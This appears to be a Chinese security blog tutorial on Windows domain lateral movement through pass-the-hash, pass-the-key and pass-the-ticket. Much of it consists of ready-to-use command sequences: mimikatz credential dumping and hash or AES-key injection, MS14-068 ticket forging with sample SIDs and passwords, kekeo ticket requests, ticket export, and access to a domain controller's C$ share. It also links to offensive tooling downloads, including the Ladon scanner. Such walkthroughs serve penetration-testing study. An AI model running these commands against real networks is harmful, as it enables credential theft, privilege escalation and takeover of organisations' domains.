【内网安全】域横向PTH&PTK&PTT哈希票据传递

Kerberos协议具体工作方法,在域中,简要介绍一下:
• 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
• 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
• 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
• 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

PTH (pass the hash) # 利用lm或者ntlm的值进行的渗透测试
PTT (pass the ticket) # 利用的票据凭证TGT进行的渗透测试
PTK (pass the key) # 利用的ekeys aes256进行的渗透测试(ekeys aes256可以通过mimikatz中sekurlsa::ekeys获取

windows系统LM Hash 及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash

可以把票据理解为登录网站后留下来的cookie,或者说和别人建立连接的一个凭据在你电脑上,这时候你就可以用这个票据进行重新连接,票据就是好比cookie

PTH和PTK连接协议是一样的,PTT协议不同,它是kerberos协议。

PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash远程访问主机或者服务,而不提供明文密码。(也就是说不需要得到明文密码,只需要得到加密值就可以攻击)

如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击。

总结:KB2871997补丁后的影响(systeminfo可以查看补丁信息)
pth:没打补丁用户都可以连接,打了补丁只能administrator连接
ptk:打了补丁才能用户都可以连接,采用aes256连接
KB22871997是否真的能防御PTH攻击? - FreeBuf网络安全行业门户

# PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。

MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780

• 域横向移动PTH传递-Mimikatz
• 域横向移动PTK传递-Mimikatz
• 域横向移动PTT传递-MS14068&kekeo&local
• 国产Ladon内网杀器测试验收-信息收集,连接等 


案例1-域横向移动PTH传递-Mimikatz

       Pass The Hash哈希传递。该方法通过找到账户相关的密码散列值(通常是NTLM hash)来进行攻击。在域环境中,用户登录计算机时大都是域账号,大量计算机在安装的时候会使用相同的本地管理员账号密码,因此,如果计算机的本地管理账号和密码也是相同,攻击者就能使用hash传递攻击的方法登录内网中其他计算机。同时,通过哈希传递攻击,攻击者不需要花费事假破解密码散列值(进而会的明文密码) 。

PTH(哈希传递pass the hash)传递就可以借助工具mimikatz,这款工具不仅是凭证的获取工具,就是获取明文密码的工具,还可以进行相关攻击,比如说

PTH ntlm传递
未打补丁下的工作组及域连接:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7(假设知道域控上的hash)
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c(workgroup是连接本地用户)
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

\OWA2010CN-God.god.org(域控)

实验演示:

打开2008R2 x64 Webserver的powershell:

命令:
privilege::debug
sekurlsa::logonPasswords(获取明文密码)

sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7(mimikatz运行后会弹出一个窗口cmd)
在弹出的窗口中输入dir \\192.168.3.21\c$(ip地址不识别的话可以换成计算机名)

案例2-域横向移动PTK传递-mimikatz

PTK aes256传递
打补丁后的工作组及域连接:
sekurlsa::ekeys #获取aes
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

PTK:必须打了补丁才能用户连接


 案例3-域横向移动PTT传递-ms14068漏洞&kekeo工具&本地

第一种利用漏洞:
能实现普通用户直接获取域控system权限

MS14-068 powershell执行

1.查看当前sid whoami/user
2.mimikatz # kerberos::purge        //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造(不用提升权限)
mimikatz # kerberos::list                //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件名称   //将票据注入到内存中
3.利用ms14-068生成TGT数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票据注入内存
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5.查看凭证列表 klist(当前计算机和哪些东西进行连接,如果要删除票据可以使用命令klist purge)
6.利用
dir \192.168.3.21\c$(或者net user连接)如果ip连接不了就可以用计算机名

这个票据传递的原理就是生成一个合法的连接请求,然后用mimikatz导入内存中,所以连接的时候就不用连接密码


第二种利用工具kekeo

1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用net use载入
dir \192.168.3.21\c$


第三种利用本地票据(需本地管理员权限)

其实就是一种伪造cookie的攻击思路,首先用mimikatz把本地的票据收集再导入内存

sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi(就相当于把以前的“cookie”弄出来,再看看还能不能用,凭据在十小时之内导出才有效)
总结:ptt传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据


案例4-国产Ladon内网杀器测试验收

信息收集-协议扫描-漏洞探针-传递攻击等

大型内网渗透扫描器&Cobalt Strike,Ladon8.9内置120个模块,包含信息收集/存活主机/端口扫描/服务识别/密码爆破/漏洞检测/漏洞利用。漏洞检测含MS17010/SMBGhost/Weblogic/ActiveMQ/Tomcat/Struts2,密码口令爆破(Mysql/Oracle/MSSQL)/FTP/SSH(Linux)/VNC/Windows(IPC/WMI/SMB/Netbios/LDAP/SmbHash/WmiHash/Winrm),远程执行命令(smbexec/wmiexe/psexec/atexec/sshexec/webshell),降权提权Runas、GetSystem,Poc/Exploit,支持Cobalt Strike 3.X-4.0

GitHub - k8gege/Ladon at v6.1

涉及资源:
https://github.com/k8gege/Ladon
https://github.com/gentilkiwi/kekeo/releases
https://github.com/abatchy17/indowsExploits/tree/master/MS14-068
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取码:xiao

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值